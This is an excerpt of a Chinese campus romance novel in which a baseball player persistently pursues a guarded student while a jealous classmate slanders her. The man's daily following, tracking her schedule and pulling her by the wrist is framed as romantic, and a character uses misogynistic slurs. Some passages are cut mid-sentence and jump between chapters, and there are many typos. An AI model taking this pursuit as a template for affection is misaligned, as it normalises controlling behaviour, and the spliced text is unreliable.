图片载入中

恶魔的侵略(1-8完)

特大字】 【大字】 【中字】 【小字

第一章

寂寞,很可怕。

一个人坐在房间里面,什么也不做、什么也不想,就只是看着窗外发呆……这种冷清的夜晚,街上一个人也没有,就连天上的星星也被云层遮蔽了,宋心文转头看着前方桌上母亲的照片,不知不觉又陷入悲伤童年的遥想中。父亲在她国小一年级的时候离家另组新家庭,无情地丢下她和母亲两个人。她们的生活并不清苦,因为母亲是乡下地主的女儿,虽然母女俩不必担心生计,但是她幼小的心灵还是受到不小的伤害。那对总是在吵闹或冷战的父母亲,使宋心文的童年生活蒙上一层阴影;而最终抛家弃妻女而去的父亲,则使她从此对男性充满仇视。抑郁寡欢的母亲在宋心文高中一年级的时候久病厌世,从此之后她就独自生活了。在长期的独居生活之中,宋心文培养了新时代女性独立自主的坚韧个性,并且隐藏起自己害怕寂寞和孤单的心。旁人眼中的宋心文是既骄傲又孤僻的,就算一个人静默地坐在不起眼的角落,也极其吸引别人的目光,这都要归功于承袭于美丽母亲与俊逸父亲的亮眼外貌。然而对于每个想靠近她的男生,她总是不假辞色,因为小时候的不幸记忆,让她不肯轻易尝试恋爱这种劳心伤神的情感。她总是告诫自己,必须以游戏人间的态度来对待世间另外二分之一的男性人口。什么一生一世的爱恋?哼!全部都是骗人的吧?她在父母身上学到的只有欺骗、背叛,以及无数的言语和表情暴力。原本宋心文打算一辈子都不尝试恋爱那种昏头的感觉,没想到自从遇见张立仁之后,她的一切坚持和不安全都被打乱了。一切都是从那颗不长眼的棒球飞过来打中她开始——那天,正午的太阳猛烈地曝晒着地表,宋心文与关颍柔坐在操场边一处阴凉的大树下聊天。谁知天外突然飞来一颗棒球,在宋心文还来不及反应时击中她的头顶。宋心文哀鸣一声,往后倒了下去。 再度清醒过来之后,宋心文发现自己躺在医务室的大床上,旁边除了紧张不已的关颍柔之外,还有那个肇事的打击手——那张黑沈沈的脸上,一丝代表歉意的表情都没有。“搞什么鬼啊!我的头……好痛喔!”

意识到那个男人凝视的目光,宋心文不知为何竟有股别扭的感觉,好像被猛兽盯上的猎物,浑身不自在。“心文,你觉得怎么样?头会不会晕晕的?”关颍柔一下子摸摸宋心文的头,一下子拍拍她的脸颊,非常担心她。“嗯!一点点……”宋心文拉住关颍柔的手,将她扯到身旁咬耳朵。“颍柔,那个人是谁啊?干吗绷着一张脸站在那儿家门神似的?”“就是他击出的球打中你的。”

关颍柔瞪了男人一眼,随即又收住自己愤慨的目光,因为他看起来好凶喔!她实在不敢瞪他瞪太久……“也是他把你抱到医务室来的。”关颍柔及时又补了一句。

“咦?是他把我抱过来的?”

宋心文浑身窜起一阵鸡皮疙瘩,斜眼瞥去又看到那张足可媲美冰块温度的黝黑脸庞,莫名地觉得全身都不舒服起来。“喂!是谁叫你乱碰我的?”

可恶!这不知是哪条路上的路人甲竟然敢偷偷抱她?宋心文的脑袋瓜虽然还昏沈沈的,不过她的嫩豆腐可不愿意让那个黑脸男白白吃干抹净。“还有力气吵架,代表你应该没事。”

没啥表情的张立仁冷冷吐出这一句话之后,便转身离开医务室。

“喂!你这人怎么这样?是你把心文打伤的耶!你要负责啦……”关颍柔以为张立仁要畏罪潜逃,连忙追了出去,但是又有点畏惧他,只敢在三大步之外追赶着他。“抱歉,我还有课要上,待会儿下课之后我会过来的,这段时间请你让她乖乖地躺在床上休息。”张立仁回过头,眼光并没有望向关颍柔,反而直直盯视着病床上那张小脸蛋。“你放心,我会负起责任照顾她的。”

张立仁像是承诺般的话气,让关颍柔根本不敢再质疑他,只好眼睁睁让他离开。“搞什么嘛!他怎么连一句道歉都没有说?”宋心文瞪着张立仁的背影,直到他消失在视线范围之内,才收回目光低头投抚着自己怦怦直跳的心脏。怎么会这样?她中邪了吗?“心文,你怎么啦?是不是还在头晕?我看还是直接送你到医院去比较好,我真的觉得刚刚校医并没有仔细替你检查耶!”关颍柔拍了拍宋心文的脸颊,试图吸引她的注意力。“喔,其实也还好啦!”宋心文还是无法理解自己为何会心跳加速。

“心文,你是不是真的被砸昏头了?我看我还是打个电话替你叫救护车好了。”“啊?什么?救护车?”宋心文连忙捉住关颍柔拿起手机的手,阻止了她的动作。“不用了啦!我很好,我没事。”“不行!搞不好有脑震荡的可能耶!这种事情不可以随便将就的啦!”关颍柔一直认定校医先生铁定是因为赶着去吃饭,所以没有仔细替宋心文检查。“我真的没事啦!只要休息一下就好了,不用搞到连救护车都Call来啦!”宋心文扯着关颍柔的手。“颍柔,他刚刚在外面跟你说些什么啊?”她只记得自己很勇敢地承受他隔空凝视过来的目光,根本没有听清楚他说什么。“他说他要去上课,下课之后会过来,要你好好躺在床上休息。”关颍柔一五一十地转述,“还有,他说他会负起责任好好照顾你的。”“什、什么嘛!谁要他照顾啊!”不知为何,宋心文听到这句话之后竟然脸红起来。连句道歉都不肯说的人,真的有本事可以照顾她吗?哼!

“咦?你确定你没事吗?你的脸好红喔!”

“我没事啦!”宋心文将白色的薄被直直拉到鼻子部位,遮住大半张红透的脸蛋。“我休息一下就好了。”“是吗?那你乖乖躺着休息,我会一直在这里陪着你,直到他回来。”

关颍柔拿起桌上一份报夹,安安静静地坐在床边陪伴着宋心文。

两堂课之后,医务室内涌进一群棒球校队的男生,宋心文对每个关心她的男生都披以应付的微笑,除了那个击出球打中她的张立仁。从被球砸中那天开始,张立仁就像幽魂一样缠在宋心文身边不肯散去。

“喂!你干吗一直跟着我?”

上学的途中,张立仁一直紧紧跟在宋心文身后,她走没两步,便不耐烦地回头了着离她几步远的张立仁。昨天晚上宋心文被张立仁“亲自”护送回家,这才发现原来他们竟住在同一栋大楼,她住七楼,而他住在一楼。这种巧合让宋心文有种哭笑不得的奇妙感觉。

在这里住了两年,从没遇见过他,自从被他击出的球打中之后,她才突然发现自己有一个这么难缠的邻居。“我只是想确定一下你真的没有被那颗球能敲成脑震荡。”

“我真的没事,你到底要我说几遍?”

想到他曾经说过会负起责任照顾她,虽然宋心文没有亲耳听到,但奇怪的是她的一颗心居然涨得满满的……难道,她现在的反应是在不好意思?

宋心文一双黑白分明的大眼睛又惊又惧地瞪着前方那张没什么表情的大黑脸。为什么看到他的时候,她的心跳总是会加速跳动?她是不是真的被那颗球给敲坏脑袋瓜啦?

这男人长得既不帅,又不是可爱型的,一张黝黑、面无表情的脸,总是令人猜不透他在想些什么,根本就不是她会喜欢的类型!还有——她根本就不打算对任何男人心动的啊!怎么会每次看到他都忍不住小鹿乱撞呢?宋心文再一次狠狠瞪着张立仁那张没啥表情的脸,哼!真是冷淡啊,看来他真的只是想碓定自己没事而已,跟其他想要追求她的男生借口接近她不一样……“没事最好,快点走吧!上课要迟到了。”张立仁拉住宋心文的手腕,像扯犯人般地拉着她前进。“你干吗啦!我自己会走,你拉着我做什么?”宋心文挣扎了一下,却敌不过张立仁强劲的力道,只好被他拉着往前走。“我上课不喜欢迟到。”

“你不想迟到那你先走嘛!干吗这样拉着我啦!”

离第一堂上课时间还有二十分钟,宋心文本来想去她最爱的早餐店外带一份汉堡和奶茶,然后到教室去慢慢享用的,谁知道一走出大楼就遇上眼前这位煞基。“在我确定你真的没事之前,你会常常看到我的。”张立仁回过头,非常认真地对宋心文说。宋心文像看外星人般地仰望着张立仁的侧脸,被他不苟言笑的认真态度给逗笑了。真是的!她明明应该要很生气的呀!“你一向都是这样的吗?霸道、任性又自以为是?”他以自我为中心的霸道气势连一向任性的她都比不上呢!宋心文的脚步比较慢,两人衔接在一起的手慢慢拉成了一直线。张立仁没有回答她的指责,只是一径拉着她往前走。宋心文低头望着那只握住自己手腕的大掌,感觉真的怪怪的耶!

细细长长的手指强而有力地捉着她,一向不习惯旁人靠近的宋心文竟奇异地感觉到一股安心……真的怪怪的。

直到被张立仁拉到教室前,宋心文才讶异地收回自己瞪着那只大手的视线。“你怎么知道我在这里上课?”

“这种事情只要上网查一查就可以知道了。”张立仁翻开背上的黑色大包包,拿出一袋早餐递给宋心文。“你的早餐,记得要吃完。”“咦?不会吧?你……”宋心文傻傻地接过早餐,直到这一刻才猛然发现原来她不是在门口“碰巧”遇到张立仁的,他是专程在大楼门口等她出现,并且体贴地先买好了早餐。望着张立仁挥着手离去时故作潇洒的背影,宋心文的嘴非常不扰雅地张得开开的。其实是想要开口向他说声谢谢的,但是她却连一个字都说不出来。

呜……怎么办?她今天到底怎么了?怎么一遇上他就好像什么都乱了?

刚刚被他拉着走时,一路上她的心脏都一直扑通扑通地狂跳着。

不会吧?这不会是真的吧?宋心文低着头望着那袋留有余温的早餐,在心底狂喊着。难道她真的被那颗不长眼的球给敲坏脑袋瓜了?张立仁每天跟着宋心文一起上学,守在宋心文的教室外等她一起放学回家,让宋心文第一次领教到男孩子可怕的执着力和实行力。以往那些想追求她的男生,总是在她冷着脸拒绝三四次之后就知难而退了,然而这个可怕的张立仁,不论她怎么拒绝,还是紧紧黏在她的身旁。“喂!你这样每天跟着我不觉得累吗?”

虽然忍不住这么问,但宋心文其实已经很习惯张立仁问什么都不答的态度了。她偷偷吁了一口气,还好没听到他肯定的回答。她瞪着他那张总是没啥表情的大黑脸,被迫与他相处几天之后,她好像慢慢开始习惯他的存在了耶!虽然极不愿意承认这个事实,但宋心文非常明白她并不讨厌这样的相处,这还是她第一次对男孩子有这种感觉。他不但护送她上学、放学,就连三餐外加宵夜都替她打点得好好的,如果不是他总是冷着一张脸的话,她会以为这个男人已经无可救药地爱上她了!“晚上想吃什么?”习惯性地避开宋心文拒绝性的问句,张立仁与宋心文并肩停在学生们经常聚集的餐观街上,转身征询她的意见。最近已经不用蛮横地拉扯着她,她也会自动跟在自己的身旁,虽然一开始是基于想要照顾她、补偿她的心态,但却渐渐融入一丝丝的喜欢心情。毋庸置疑地,宋心文是个极度令人渴望的女孩子,不过短暂相处了几天,张立仁就被她不自觉散发的魅力及一股深层的孤独感给吸引住了。像她这样美丽的女孩子应该不孤单才对呀!然而张立仁却发现除了关颍柔之外,宋心文在学校里连一个要好的同学都没有。当然,有很多想要追求她的男生,但她从来没有给过他们任何亲近她的机会。这代表他的存在是独特的吗?除了一开始老是喊着“讨厌”的抗拒之外,她对他好像慢慢地撤去心防。张立仁低头仔细搜寻着宋心文脸上的表情。经过这几天的相处,他们已经可以算是关系匪浅了吧?她是如何看待他的呢?拉她的手、搭她的肩都不会遭到她冷脸拒绝了,不管如何,张立仁为自己可以这样待在她的身旁而暗自开心不已。“我要那个,蛋包饭加味噌汤特餐。”宋心文指着一家日式快餐店的招牌开心地笑着。蛋包饭是她的最爱。“你常常吃这个,不嫌腻吗?”张立仁的大掌搭上宋心文的肩膀,把她拉到自己身前,好避开身旁拥挤的人潮。“不腻。”随着排队的人龙前进,宋心文心慌意乱地摇着头。

呜……她竟然像个乖小孩,对他有问必答了起来。

宋心文不敢回头看张立仁的表情,因为那只搭在她肩上的手一直没有移开。为什么他总是对她做出这么体贴的举动?感觉好像是追求女孩子的招数,却从来没对她表达过什么……宋心文再度陷入迷惘的困境中,难道,她在期待张立仁对她表白吗?

哇!这下真的完蛋了,看来她真的被那颗棒球砸坏脑袋了!

“干吗一直摇头?不舒服吗?”张立仁的大掌拥紧宋心文,担心地低头检现着她。“没有、没事啦!”意识到张立仁的靠近,宋心文僵直着背嵴感受着他强烈的存在感。推着宋心文进入店内之后,张立仁改为握着她的手腕拉着她找位置。“走!我们到楼上去坐好了。”看着张立仁习惯性的拉手动作,宋心文低下头,脸又红了起来。他们这样算是什么呢?邻居?朋友?好朋友?还是……可以算得上是男女朋友了呢?

呜……她对这种事情真的没经验啦!她心中这种奇怪的悸动到底算是什么呢? 第二章

一早,带着愉悦的心情走进教室,宋心文的脸上洋溢着春天般的微笑。

除了周三、周五的清晨有球队的特训之外,其余几天不管张立仁第一堂有没有课,早上都会在她家门口等她,然后跟她一起到学校。虽然张立仁从来没说过喜欢她或是任何要追求她的话,但是从他的一举一动之中,她感觉得出来他是喜欢自己的。当然,有男生喜欢自己早就不是什么新闻了,但这却是有史以来第一次她没有拒绝男生的靠近。拎着他替自己准备的早点,奶茶与蛋挞的余温一点一又钓上哪个蠢蛋啦?”一个讽刺的男中音在教室后方响起——是宋心文最厌恶的男同学周裕。“那个笨男人知不知道你男女关系复杂啊?啧啧!宋心文,你也真是厉害,颜教授是不是不能够满足你?你竟然有胆子同时脚踏两条船,还选择同一所学校的教授跟学生?”也不管周遭的同学们开始交头接耳、窃窃私语,周裕看着脸色大变的宋心文,一脸得意地发表着伤人的言词。“不要因为追不到我就说出这么酸的话好不好?我爱跟几个男人交往是我的事,跟你一点关系都没有!”哼!一早储存的好心情全部被周裕给破坏殆尽了。

宋心文收起不悦的神情,换上平常面对同学的无敌铁金刚表情。

之所以交不到任何知心的朋友,就是因为她从来不解释有关于她的流言蜚语,日子一久,同学们都以有色的眼光看待她,怎么会愿意跟她交朋友呢?虽然离上课钟响还有五分钟的时间,教室里只零零落落地坐了十几个同学,不过这些人就已经够了,爱传播谣言的人,就算只有一个,不到一天的时间就可以把她讲得难听几百倍。宋心文已经很习惯同学们的轻蔑目光,自从她和经济系的颜教授传出绯闻之后,就算再欣赏她的男生,看到她也要退避三舍。“真是不要脸的女人!”周裕撇了撇唇说。每次看到宋心文那张骄傲的脸和特立独行的态度,他就忍不住想要刺她一下。其实,他是因为追不到她所以才会心理不平衡。

那个颜教授到底有哪里好?都已经是个老头子了,怎么还敢这么风流?还有,早上看到那个像黑炭一样的男人又哪里好了?余心文竟然跟他有说有笑的,还让他送到教室门口?为什么宋心文就是看不上他?周裕忿忿不平地瞪着宋心文一派悠闲的侧脸,为什么不管他如何用言语伤害她,她都不把他当作一回事?身为班上最受女同学们欢迎的男生,周裕真的不明白,怎么可能会有女生不领他的情呢?打从大一见到宋心文第一眼开始,周裕就想把她纳为己有了,只是,不管他用尽多少心思刻意讨好她,都得不到效果。于是,周裕对宋心文的感觉便从一开始的喜欢逐渐变成现在的埋怨。愈来愈多同学走进教室,不久之后上课钟声响起。 宋心文冷哼一声,丝毫不理会周裕的怒骂及身旁同学的交头接耳,翻开厚重的会计原文书,专心地进入台上会计学教授认真的教学情境里。“你怎么啦?”张立仁一见到宋心文,就敏锐地察觉到她的不对劲,紧抿的历角、倒竖的柳眉和疲倦的脸庞,才经过四堂课的时间而已,没道理被操得这么累吧?“我没事。”宋心文一个劲地往前走,因为不习惯在旁人面前显露出自己脆弱的一面,所以她不想让张立仁看见自己现在的脸。张立仁跟在宋心文身后,没有继续追问下去,不过他实在不习惯这种看不到她美丽脸庞的感觉,好像她在躲着他似的。“有什么不愉快的事可以跟我讲嘛!”张立仁拉住宋心文,逼她跟他面对面说话。“就说我没事啊!”宋心文执意偏过头去,不想浪费时间争执这件事,下午她还有四堂课要上,现在得赶快去解决民生大计才行。“是谁惹你不开心?”

“是我自己,行了吧!解答你的疑问了吗?”宋心文甩开张立仁的手。

明明早就习惯那些流言了啊!为什么一看见张立仁关心她的表情,她的心底竟涌上一股委屈的感觉?她根本就不是那种会向人撒娇的个性,尤其在面对男生的时候,更是难以表达自己的真实面貌与感情。她已经为张立仁破了太多戒,不可以再因为他而继续放纵下去了。“可以走了吗?我下午还有课。”宋心文转过头去。

“你到底把我当成什么了?免费的伴游?还是非常好使唤的奴隶?”张立仁板起脸,那张本来就没什么表情的黑脸看起来更加吓人。“有什么不开心的事不能跟我讲吗?我以为我们是朋友……”

相处这么多天下来,就算一开始她是讨厌他的,应该也开始慢慢接受他了吧?为什么她不肯与他分享她的心情呢?他正在关心她呀!不领情也该有个限度,虽然从没明讲过,不过张立仁就不信宋心文不知道自己正在追求她。他应该表现得很明显才对啊!只要一有空闲时间就跑去找她,照顾她、参与她的生活,只差还没找时间跟她表白而已。“是吗?我以为你只是在补偿我而已!”一不小心,宋心文就把面对班上同学的牙失嘴和拿出来对付张立仁。“你只是担心被球打中的我会不会有脑震荡或后遗症,所以才每天跟在我身旁照顾我而已,不是吗?”一别扭起来就没完没了,宋心文实在很厌恶自己这样的个性。

“是吗?原来你是这样看我的!”张立仁没再多说什么,马上转身离去。看着张立仁的背影,宋心文万分后悔地愣在原地。

为什么她刚刚要那样子讲他呢?她又不是在生他的气,干吗要把气发在他身上?但是后悔已经来不及了,人都已经被她气跑了。

“什么嘛!我干吗要那么在乎他?走了就算了,哼!还是一个人比较自在。”总是口是心非的宋心文,就连一个人独处时,都会这样子欺骗自己的心。说实在的,习惯真是个令人害怕的东西。

没有人陪着他走路上学、放学,没有人替她买好吃的蛋挞、奶茶,也没有人强邀她一起去吃晚餐、消夜,宋心文的生活恢复成遇上张立仁之前的单调贫乏。说出去一定没有人相信,像她这样子的漂亮宝贝,平常竟然连个可以讲讲话、倾吐心事的朋友都没有——除了眼前这个有如天使一般可爱的关颍柔。但她的约会实在太多了,不能时常陪着宋心文。“心文,你怎么啦?为什么都不笑呢?是不是心情不好?”坐在她俩每回相约闲聊的大树下,关颖柔发现未心文的异常。宋心文摇摇头,一口气闷在心底,不知道该怎么抒发才好。

“怎么不说话?是不是很严重啊?讲出来跟我商量一下嘛!”关颍柔根够义气地拍着宋心文的肩膀。“之前都是你当我的心事垃圾桶,现在风水轮流转,换我来当你的心事垃圾桶。心文,不管有什么烦恼的事都说出来,我们一起想办法解决。”“怎么办?我觉得我好像喜欢上他了。”迟疑了一会儿之后,宋心文开口道出令她心思混乱的主因。“你喜欢上谁了?”宋心文没头没脑地蹦出这么一句话来,把关颍柔吓呆了。“就是那个打中我的男生,我想,我应该是喜欢上他了。”

一五一十地叙述着这几天发生的事情,宋心文低下头反省自己那天的态度。自从那天过后,张立仁就不再来找她了,他一定在生她的气吧?“颍柔,你会不会觉得我真的对他太恶劣啦?”

“嗯……好像有一点耶!”关颍柔点着头。“心文,我觉得你应该修正一下你的态度,你不是喜欢他吗?那在面对他的时候就要坦率一点呀!”“唉!我要是能坦率一点的话,就不会把他给气跑了。”宋心文颓丧地低下头。她实在非常缺乏跟男孩子平心静气相处的能耐,斗嘴耍狠才是她的拿手好戏呀!“咦?这实在不像是我认识的你喔!心文,我看你干脆主动去找他,然后把你的心情告诉他。”“啊?”“他都追了你这么久,这次就换你主动一点嘛!你不是说你已经喜欢上他了吗?要诚实面对自己的心情才行喔!”“我有面对啊!我并没有否认自己对他的感觉,我只是一不小心就以平常对待那些可恶男生的冷酷脸孔和态度对他而已。”“可是,他并不知道你喜欢他呀!这种事情不讲清楚不行的。”关颍柔握住宋心文的手,“去找他告白吧!顺便向他解释一下你的清白,你并不像旁人眼中看到的那样爱玩与堕落呀!”前些日子,宋心文已经向关颍柔解释过她与颜教授之间的绯闻事件都是假的,而且,这不实的消息还是宋心文自己散播出去的。一切都是为了报复。

因为,颜教授其实就是宋心文的亲生父亲,她之所以会恶意散播这个流言,只是为了报复他而已。但是这个无聊的小把戏,除了毁了宋心文自己的名声之外,并没有真正破坏颜教授和现任老婆的感情。真是赔了夫人又折兵呀!宋心文常常这么感叹着。

“唉!颍柔,其实我自己也觉得好混乱,我虽然喜欢跟他在一起的感觉,但是,这种喜欢的心情能维持多久呢?”宋心文苦恼地偏着头思索。“万一这种感觉很快就消失了怎么办?”这也不能怪她呀!她是真的打从心底不相信有永恒的爱情。

“这个我也没有答案。”关颍柔无奈地笑笑。“感情的事情很难说的,不过我觉得,既然见不到他已经让你觉得非常难受的话,那他在你的心目中应该占有不少分量。”宋心文抚着自己的心口,这几天她的确觉得很难受,尤其一想到张立仁毫不在乎的背影逐渐地远离她,她就难过地想哭。她好希望时光倒回到那一刻,如果可以重来一次的话,她一定不会那样对他发脾气的。“所以,给他一个机会,也给你自己一个机会吧!也许他就是你的真命天子也说不定喔!”关颍柔给了宋心文一个温暖的微笑。“去找他吧!不要再迟疑了。”“嗯!”宋心文深唿吸了好几口气,然后点点头。

为了不让自己继续难过下去,她真的得勇敢一点了。

用力挥着手中的铝制球棒,一颗颗从发球机中吐出来的棒球,被张立仁击中之后远远地朝远方飞去,直到敲到边缘的铁栏杆才停下。一球紧接着一球,张立仁面无表情地练习着制式的挥击动作。

“都已经连续打两个多钟头了耶!阿仁今天是吃错药了吗?”张立仁身后响起一个疑问的男声。“啊?可能是失恋了,前几天不是还看他笑得很恶心吗?我猜大概是阿仁学长的笑容丑得把那个美女给吓跑了吧!”“喂!你讲太大声了啦!”向,下一颗球眼看着就要往他们这头飞过来,随即拉着另外一个男孩抱着头窜逃到另一边去。“哇!我的天啊!阿仁学长饶命啊!”卫子轩在抱着头逃窜的同时,还不忘朝身旁的王劲甫抗议着:“嘿!阿甫学长,你可不可以不要再对着我猛喊‘喂了?”“啊,可你的确姓’卫啊?”

耍宝二人组有难同当地躲过了张立仁挥系出的四五球之后,才小心翼翼地出言安慰那个显然正在发火的恐怖人物。“阿仁,要不要我们陪你去喝一杯?”王劲甫跟张立仁是同一届的校队队员,也是球队里面跟张立仁气味最相投、感情最要好的一个。“阿仁学长,我会调几杯好喝的调酒让你一醉解千愁喔!回我们公寓去喝一杯怎么样?”卫子轩慢慢地移向发球机,手脚利落地关掉发球机之后,这才吁了一口气,总算不用担心被当作球靶看待了。张立仁面无表情地瞪了他俩一眼,空挥了几下手中的铝棒,感觉力气差不多都耗尽了,是该离开球场了。抽过铁架上的毛巾,张立仁胡乱地抹着额上及颈上的汗渍,他已经记不得自己练习了多久,只知道要把自己身上无穷无尽的力气都发泄完,不然,他很可能会控制不住自己……无力地坐在水泥地上,张立仁往后躺下并以毛巾盖住疲倦的脸。 那个该死的女人!都是因为她,他才会变成这样。

漂亮的女人他不是没看过,有个性的女人他也不是没遇过,活了这么多年,他第一次对一个女孩子这么好声好气地伺候着,没想到她根本不把他当一回事!说不在乎是骗人的,他要是真的不在乎的话,就不会这样心烦意乱了。

那天虽然很潇洒地转身离开,但若不是他痛定思痛地拔腿先闪人的话,很可能已经忍不住伸出手掐死她了!张立仁最讨厌那种付出却得不到回报的感觉,就算是他一厢情愿地想要对她付出,他还是很渴望能得到她的回应。尤其,他们之间的相处是这么自然,甚至还可以尝到一丝甜甜的气味,他几乎感觉他和她是互相心仪的……不管怎么想他都觉得没道理呀!为什么她会突然改变了态度,像个小刺猜般刺得他满头包?与其说他是在生气,倒不如承认自己是在恐惧。那样美丽的女孩,可能真的不适合他吧?“阿仁、阿仁……”张立仁脸上的毛巾被王劲甫偷偷掀开一小角。

“阿仁学长,你的表情很恐怖喔!”卫子轩试图解读张立仁的表情。“你再 第五章

四百米的跑道跑了三圈之后,张立仁在场边练习基本的挥棒动作。

每星期一、三的早晨,球队的练习都是这样开始的,早起的张立仁唿吸着操场上新鲜的空气,一边吸气一边扭腰做着挥击的基本动作。挥击练习结束之后,就得和队员们开始传接球练习,然后才分成两队开始捉对厮杀。攻防战交替进行着,担任游击区防守的张立仁在操场上飞驰奔跑一阵之后,气喘吁吁地回到休息区等待上场打击的机会。下下星期的中区大专联合运动会,他们即将出战H大棒球队,有如世仇的两校棒球队现在都在密集练习当中。教练发出了特急令,要是今年能够打赢H大,就要请全队队员吃王品台塑牛排。有了这样的奖赏,队员们练球练得非常起劲,几乎每天早晨都自动自发地来到球场报到。清晨的特训通常在八点的时候结束,第一堂有课的人就赶着去上课,没课的队员则留下来收拾器具物品。将一箩筐的垒包、手套、球棒等扛回器材室之后,张立仁走到洗手台擦洗脸上、背上的汗渍。一大早流这么多汗的感觉真的很不错,张立仁双手捧着清凉的水,哗啦啦地洗着脸。关上水龙头之后,张立仁接受到一道不怎么友善的目光,他一擡头,一个抱着篮球的高大男子挑衅地盯着他。“请问你有什么事?”一直这样不怀好意地瞪着他,是来找他麻烦吗?张立仁很确定眼前这个长相俊美的男子自己并不认识。“你就是宋心文的新男友?”周裕挑衅地说出开场白。 张立仁注意到他用了“新”这个字,不过,他应该是宋心文“唯一”的男朋友吧!“请问你是……”

“你知不知道她是一个很烂的女人?在我们班上,没有人不知道她跟经济系颜教授乱搞的丑闻,你怎么还想跟她在一起?”“哦?你确定我们认识的是同一个人?”这消息对张立仁来说倒是件新闻哩!他怎么连那个绯闻男主角的名字都没听说过?“你可别被宋心文那张脸骗了,那女人是个标准的贱货,表里不一大概是她唯一的专长。”周裕情绪异常激昂地说:“不过,宋心文到底看上你哪一点啊?啊!你该不会比那个显教授还要有钱吧?所以她才会噼腿跟你在一起?”陌生男子的话在张立仁心中留下一道深深的疑惑,因为宋心文到目前为止的确有许多事情还困着他,不肯跟他分享。“还是因为你的床上功夫比那个老教授好,所以那个贱货受不了总是不满足的性生活,背着老教授偷汉子?”周裕低级无聊地猜测着,愈说愈愤慨。其实他是因为极度不满,所以才会有这种无聊的举动,因为看不惯宋心文每天洋溢着幸福的微笑,他想要破坏那个碍眼的笑容。“心文不是这种女孩,我想你大概误会了。”张立仁抖了抖手中的干毛巾,擦干脸上、颈上的水渍。虽然对这件事情的始末很好奇,但他可不会让他这样羞辱自己喜欢的女孩子。“我不了解你为什么特地来跟我说这些事情,不过这样子在背后任意诋毁一个女孩子的名誉,你的动机非常令人怀疑。”“哈!名誉?宋心文那种烂货还有名誉可盲吗?”周祖抚着宽阔的额头大笑。“你大可到我们系上打听打听宋心文的名声,很容易就可以知道她到底还有没有名誉可以让我诋毁……”紧握着手中的篮球,周裕装出一副语重心长的样子。“我是基于好心才来告诉你这件事,信不信就看你自己啦!不想戴绿帽当乌龟王八的话,就好好去调查清楚吧。”留下一段令人深思的结语之后,周裕转身扬长而去。

张立仁盯着陌生男子离去的背影,今天一早起来运动的大好心情,全都被他的话给破坏了。自从听了那个陌生男子的警告,张立仁的心中就开始默默发酵着。 会如此在意也是应该的吧!虽然他十分碓信自己的确是宋心文第一个男人,但是这样可怕的传言到底是不是空穴来风呢?当天下午,第七、八堂没课的张立仁放弃了到球场去和学弟们练球,特地来到宋心文的教室外等她下课。以往星期一的下午,宋心文总是和张立仁约在运动场见面,她说她喜欢看他在操场上奔驰的样子,还有他在打击区时面对投手的认真表情。想着自己和她认识以来的种种,张立仁一直告诫着自己,不可以在没有确实证据的时候就用怀疑的态度质问宋心文,她一向就不是那种好脾气的女孩子,被人这样怀疑一定会火冒三丈的。下课钟声才刚响起,张立仁就看到宋心文娇俏的身影从教室后门闪身而出,一个劲地低头急走。“心文。”张立仁叫住宋心文。

“咦?你怎么来了?”宋心文看到张立仁的出现似乎很惊讶,她回头走到他身旁。“今天不用练球吗?”“很想见你,所以就来了。”

“什么嘛!干吗讲这种甜言蜜语?”宋心文在张立仁身旁笑得开心极了。“我才不会被骗呢!”“是吗?我以为你很喜欢听这些呢!”

“你以前好像不是这样的喔!”宋心文偏着头凝视着张立仁。刚认识他的时候,她一直以为他是性格孤僻男耶!谁教他那时老是面无表情,一副很酷的样子;直到交往之后,她才发现他也有热情、能言善道的一面。“怎么转性了,变得这么油嘴滑舌?”宋心文斜睨着张立仁,一副偷笑在心底的可爱模样。“到底想干吗?快说吧!”这时,宋心文班上的同学三三两两地走出教室,张立仁敏感地察觉很多人交头接耳地指着他们窃窃私语,就连走过他们身边还忍不住回过头望着他们。“立仁,我们走吧!”不待张立仁回答,宋心文懊恼地撇了撇唇,没有对那些无理的眼光和窃窃私语做出任何回应。“你的同学好像对我挺好奇的,他们不知道你交男朋友了吗?”

张立仁眼尖地看到教室里头那个高大的男孩,就是今天早上特地在操场边给他警告的那位。原来他是宋心文的同班同学?那么他说的话是不是有那么一点可信度?

怀疑的种子开始在张立仁的心中滋长,因为他非常在意,却又得不到答案,强烈的困扰笼罩着他。“哪有?你想太多了吧?”宋心文拉着张立仁的手快步离开,她很开心见到他,这样的好心情她不想被那群同学破坏。“我交不交男朋友关他们什么事啊?走了啦!”“心文,你是不是有事瞒着我?”不想毫无头绪地贸然指责她,张立仁换了个方式询问,这样子应该比直接质问她有关颜教授的事好多了。宋心文突然冒火地甩开张立仁的手。“你今天到底怎么了?干吗变得这么奇怪?想说什么就说啊!拐弯抹角的做什么?”大概猜到张立仁应该是听到了什么传言,所以才会这样质问她,她别扭地瞪着他,心里实在不高兴到了极点。她的确是有事情瞒着他,但是他这种摆明不信任她、甚至怀疑她的态度,令她非常不满。要是他真正清楚她的个性的话,就不应该相信那些奇怪的谣言,更好笑的是,那些谣言还是她自己刻意传出去的呢!张立仁没想到她不但没有先检讨自己的行为,反而先怪罪他,他的怒气也被挑了起来。“你每次都这样,到底要到什么时候才能坦率地面对我?不要这样总是瞒着我,什么都不让我知道!”面对张立仁突然升起的怒气,宋心文愣在当场不知该如何回应。

为什么总是如此轻易就与他吵架呢?

说来说去应该都要怪她自己吧?以为可以在生活上、情感上依赖着他的存在,却迟迟不肯将自己潜藏的心事清楚地告诉他,和他分享一切,也难怪他会这么生气了。不过,宋心文偏执的个性之中有种奇妙的别扭感,她就是没办法扮演那种将自己的一切清楚透明呈现出来的女孩子,就算亲密如张立仁,她还是对他有些许的保留。“你听到流言了,是吗?”“那些都不重要,我想听你亲口对我说。”张立仁定定地望着宋心文涨红的脸孔。“相信我的话,就什么都不要问。” “我真的可以相信你吗?心文,为什么你总是那么神秘?念到底隐瞒了多少事情?”“你要是不喜欢的话,以后就不要再来找我了!”宋心文仰起骄傲的下巴,嘴硬地说出不留情面的话。跟他吵没两句她就没耐性了,这样伤人的对话,她不想继续下去了!“你……”张立仁没料到宋心文竟然这么倔强,他并不想在外头跟她吵架,只好退让地说:“算了!”有什么事情回去再说好了!

没想到宋心文居然误会张立仁的意思,她以为他真的要放弃自己,故作坚强的心突然被一股委屈给击倒,不过她依然骄傲地不想让他看出自己的难受。“哼!”宋心文冷哼一声,头也不回地快步离去。

